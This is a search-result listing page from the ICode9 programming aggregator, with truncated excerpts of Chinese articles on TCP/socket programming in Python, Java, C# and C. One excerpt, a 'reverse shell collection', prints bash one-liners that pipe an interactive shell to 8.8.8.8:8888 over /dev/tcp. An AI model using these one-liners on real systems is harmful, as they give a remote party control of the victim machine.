ICode9

精准搜索请尝试: 精确搜索
  • python网络编程之黏包 struct 模块2022-04-10 02:32:14

    黏包现象 # tcp协议在发送数据时,会出现黏包现象.   (1)数据粘包是因为在客户端/服务器的发送端和接收端都会有一个数据缓冲区,   缓冲区用来临时保存数据,默认空间都设置较大。在收发数据频繁时,由于tcp传输消息的无边界特点,不清楚应该截取多少长度,导致客户端/服务器端

  • python网络编程之sockerserver 模块2022-04-10 02:31:27

    模块 socketserver 网络协议的最底层就是socket,基于原有socket模块,又封装了一层,就是socketserversocketserver 为了实现tcp协议,server端的并发.   socket参数的详解 socket.socket(family=AF_INET,type=SOCK_STREAM,proto=0,fileno=None)创建socket对象的参数说明如下: fam

  • 6-网络编程之-Socket2022-04-10 00:33:09

    一 TCP编程 1.1 TCP协议 TCP/IP(Transmission Control Protocol/Internet Protocol) 即传输控制协议/网间协议,是一种面向连接(连接导向)的、可靠的、基于字节流的传输层(Transport layer)通信协议,因为是面向连接的协议,数据像水流一样传输,会存在黏包问题。 1.2 TCP服务端 一个TCP服务端

  • 5-Socket抽象层2022-04-10 00:04:30

    一、Socket抽象层 我们知道两个进程如果需要进行通讯最基本的一个前提是能够唯一标示一个进程,在本地进程通讯中我们可以使用PID来唯一标示一个进程,但PID只在本地唯一,网络中的两个进程PID冲突几率很大,这时候我们需要另辟它径了,我们知道IP层的IP地址可以唯一标示主机,而TCP层协议和端

  • Java-网络编程2022-04-09 21:01:17

    1.网络编程有两个主要的问题: 如何准确的定位到网络上的一台或多台主机 找到主机后如何进行通信 2.网络编程的要素 IP和端口号 网络通信协议 1.IP   cmd->ipconfig:查看本机IP地址 1 package com.KingJ.lesson1; 2 3 import java.net.Inet4Address; 4 import java.net.

  • 基于TCP的Socket通信2022-04-07 15:01:16

    什么是短连接? 短连接是当服务端与客户端连接成功后开始传输数据,数据传输完毕后则连接立即关闭,如果还想再次传输数据,则需要再创建新的连接进行数据传输。   1)优点:在服务端不需要保存多个Socket对象,降低内存占用率。   2)缺点:每次传输数据前都要重新创建连接,也就是每次都要进行3

  • 实例解析网络编程中的另类内存泄漏2022-04-07 15:00:08

    摘要:最近在排查一个网络通讯的压测问题,最后发现跟“内存泄漏”扯上了关系,但这跟常规理解的内存泄漏有那么一点点不同,本文将带你了解问题的始与末。 本文分享自华为云社区《【网络编程开发系列】一种网络编程中的另类内存泄漏》,作者:架构师李肯。 1 写在前面 最近在排查一个网络通讯

  • 利用JSON对数据进行序列号实现客户端与服务端的可靠传输2022-04-07 10:32:19

    本代码的主要环节在于实现客户端与服务端的可靠传输,方法是利用JSON对传输的数据进行封装。 在发送端,利用socket发送数据之前,先将数据封装为json格式。而在接收端恰恰相反。 在接收端需要加一个判断ValueError,如果说捕捉到ValueError异常,说明数据传输还没有完成,导致JSON 解封装出错

  • 反弹shell收集2022-04-05 20:04:23

    反弹shell IP:8.8.8.8 Port:8888 Bash TCP Victim bash -c 'exec bash -i &>/dev/tcp/8.8.8.8/8888 <&1' bash -i >& /dev/tcp/8.8.8.8/8888 0>&1 /bin/bash -i > /dev/tcp/8.8.8.8/8888 0<& 2>&1 exec 5<>/dev

  • 基于C#的内网穿透学习笔记(附源码)2022-04-04 13:34:27

    如何让两台处在不同内网的主机直接互连?你需要内网穿透!     上图是一个非完整版内外网通讯图由内网端先发起,内网设备192.168.1.2:6677发送数据到外网时候必须经过nat会转换成对应的外网ip+端口,然后在发送给外网设备,外网设备回复数据也是发给你的外网ip+端口。这只是单向的内去

  • 【JAVA】网络通信2022-04-04 00:03:37

    (一)UDP入门通信: 发送和接收数据报包的套接字:Class DatagramSocket 代表一个数据报包:Class DatagramPacket 1、UDP的三种通信方式 单播:单台主机与单台主机之间通信。 (1)UDP入门通信 Client: DatagramSocket socket = new DatagramSocket(); byte[] buffer = "Hello"

  • Java: TCP 文件上传2022-04-03 14:32:59

    Server & Client                                 Utils.java package den; import java.io.*; import java.nio.charset.StandardCharsets; public class Utils{ public static byte[] streamToByteArray(InputStream inputStream) throws IOException{

  • 网络编程-TCP/IP2022-04-03 12:34:05

    概述 各种协议说明 层结构 TCP/UDP TCP:可靠连接 UDP:不可靠连接 端口 socket端口

  • TCP通信程序练习(服务器给出反馈)2022-04-02 00:01:00

    package NetworkProgramming.TCP.SocketDemo01;import java.io.*;import java.net.Socket;import java.nio.charset.StandardCharsets;/** * FileName: CilentDemo * Author: lps * Date: 2022/4/1 22:17 * Sign:刘品水 Q:1944900433 */public class CilentDemo { publi

  • TCP 通信多发多收2022-04-01 20:04:01

    public class SocketDemo01 { public static void main(String[] args) { try { //1. 创建Socket通信管道请求有服务端的链接 //public Socket(String host, int port) //参数一:服务端的IP地址 //参数二:服务端的端口

  • 实现服务端接收多个客户端的消息_(重点)2022-04-01 20:02:23

    如何实现服务端接收多个客户端的消息 1.主线程定义了循环负责接收客户端Socket管道连接 2.每接收到一个Socket通信管道后分配一个独立的线程负责处理它。     客户端 public class ClientDemo1 { public static void main(String[] args) { try { //1. 创

  • golang 基础笔记二2022-04-01 09:03:21

    网络编程   网络编程有两种: 1) TCP socket 编程,是网络编程的主流。之所以叫 Tcp socket 编程,是因为底层是基于 Tcp/ip 协 议的. 比如: QQ 聊天 [示意图] 2) b/s 结构的 http 编程,我们使用浏览器去访问服务器时,使用的就是 http 协议,而 http 底层依 旧是用 tcp socket 实现的。比

  • tcp2022-03-30 11:36:00

    [virtual] qintptr QAbstractSocket::socketDescriptor()const 如果QAbstractSocket object是有用的返回本地socket descriptor,如果不能用返回-1; 如果socket用QNetworkProxy,本地socket 函数返回可能是不用用的; 如果QAbstractSocket状态是UnconnectedState,socket descriptor也是

  • 29.大文件上传 UDP协议 异常处理 自定义socketserver2022-03-28 15:32:57

    1.异常处理 什么是异常? 程序在运行过程中出现了不可预知的错误 并且该错误没有对应的处理机制,那么就会以异常的形式表现出来 造成的影响就是整个程序无法再正常运行 异常的结构 1.异常的类型:NAMEERROR 2.异常的信息:name '

  • C/C++ TCP网络通信基本流程2022-03-28 02:31:06

    通信流程如下: 服务端: 调用socket函数创建socket(监听socket) 调用bind函数将socket绑定到某个IP和端口 调用listen函数开启监听 当有客户端请求连接上来时,调用accept函数接收连接,产生一个新的socket 基于新的socket调用recve或者send函数,开始与客户端进行数据交互 通信结束后,调用

  • python编写TCP客户端和服务端2022-03-27 12:34:44

    一、客户端 #1、创建socket套接字#2、建立TCP连接#3、接收、发送数据import socket #导入socket套接字模块def main(target,port): # 1、创建socket套接字 client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) # 2、建立TCP连接 client.connect(((target,port))) # 3、

  • 神秘的backlog参数与TCP连接队列2022-03-26 21:01:31

    原创:打码日记(微信公众号ID:codelogs),欢迎分享,转载请保留出处。 简介 这要从一次压测项目说起,那是我们公司的系统与另几家同行公司的系统做性能比拼,性能数据会直接影响项目中标,因此压力非常大。 当时甲方给大家提供了17台服务器供系统部署,并使用LoadRunner对系统进行压测,乙方有完全

  • Socket编程中关流问题2022-03-21 22:35:24

    Socket编程关流问题 在Socket编程中关流问题,使用Socket套接字返回输入输出流的时候,使用完毕后关流的时候,不能关闭Socket返回的输入输出流,会造成Socket一同关闭,后续使用Socket就会抛出异常,所以关流的时候留到最后关,或者使用shutdownOutput方法或者shutdownInput方法作为输入输出结

  • RPC接口测试技术-Tcp 协议的接口测试2022-03-21 11:32:07

    首先明确 Tcp 的概念,针对 Tcp 协议进行接口测试,是指基于 Tcp 协议的上层协议比如 Http ,串口,网口, Socket 等。这些协议与 Http 测试方法类似(具体查看接口自动化测试章节),但在测试过程中需要做些调整。 Socket Socket 又称套接字,进程可通过套接字进行网络通信,使多个设备具有交互

  • 15 网络编程2022-03-20 21:37:33

    01网络通信 软件结构 cs结构,bs结构 网络通信协议 TCP/IP协议 协议分类 UDP: 由于使用UDP协议消耗资源小,通信效率高,所以通常都会用于音频、视频和普通数据的传输例如视频会议都使用UDP协议,因为这种情况即使偶尔丢失一两个数据包,也不会对接收结果产生太大影响。 TCP: 三次握手:TCP协

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有